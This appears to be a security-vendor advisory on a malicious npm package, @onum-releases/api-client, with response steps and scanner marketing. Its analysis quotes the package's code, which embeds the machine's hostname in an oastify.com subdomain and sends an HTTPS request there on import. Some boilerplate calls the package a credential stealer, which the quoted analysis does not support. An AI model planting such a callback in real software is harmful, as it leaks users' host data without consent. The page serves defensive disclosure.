@onum-releases/api-clientnpm
Malicious code in @onum-releases/api-client (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On require(), index.js reads os.hostname(), embeds it as a subdomain label under a Burp Collaborator (oastify.com) host, and issues an https.get to that host (index.js lines 4-7: 'var host = 'api-client.' + h + '.200majoeu01dk02xnjdajro1isojc90y.oastify.com'; https.get({ host: host, path: '/api-client', timeout: 4000 },...)'). Both the DNS resolution and the TLS SNI/Host header transmit the installer's hostname out-of-band to an attacker-controlled collaborator subdomain. Although package.json describes the package as a 'Security PoC placeholder - benign, no runtime payload', the shipped code does perform the exfiltration on every consumer that imports the module. The package appears to be a dependency-confusion proof-of-concept against the @onum-releases scope; regardless of intent, installers that pull it leak host identifiers to a third-party OOB server.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @onum-releases/api-client (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @onum-releases/api-client across your stack and pipelines.
If you installed it — respond
@onum-releases/api-client is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @onum-releases/api-client was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @onum-releases/api-client before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @onum-releases/api-client-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.